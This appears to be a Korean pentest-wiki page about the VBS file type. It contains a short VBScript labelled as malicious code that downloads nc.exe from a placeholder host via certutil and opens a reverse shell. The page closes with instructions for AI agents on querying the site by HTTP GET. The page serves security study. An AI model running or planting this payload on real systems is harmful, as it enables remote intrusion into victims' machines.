# vbs

Visual Basic Script 확장자는 Windows 프로그램을 쉽게 만들기 위한 언어로 Microsoft에서 만든 프로그래밍 언어입니다. 이 언어로 만든 파일은 vbs 혹은 vb 확장자를 가집니다. PowerShell이 등장하기 이전에 브라우저 내에서 특정 로직을 처리할 수 있어 자동화된 관리 등에 널리 사용되었지만, 오늘 날에는 거의 사용되는 파일은 아닙니다.

```
# VBS를 실행 시 리버스 쉘을 연결하도록 하는 악성 코드
Set oShell = CreateObject("Wscript.Shell")
oShell.run "cmd.exe /c mkdir C:\Windows\Temp"
oShell.run "cmd.exe /c certutil -urlcache -f http://<IP>/nc.exe C:\Windows\Temp\nc.exe"
oShell.run "cmd.exe /c C:\Temp\nc.exe <IP> -e cmd.exe"
```

VBS 파일은 HTML과 함께 사용되어 웹 페이지의 동작을 제어할 수 있다는 점이 있어 파일을 더블 클릭하는 것만으로도 악성 코드 배포가 가능하여 악용이 많이 되었습니다.

## References

{% embed url="<https://fileinfo.com/extension/vbs>" %}

{% embed url="<https://medium.com/@persecure/baby2-vulnlab-33fa8a52d245>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/post-exploit/undefined/extension/vbs.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
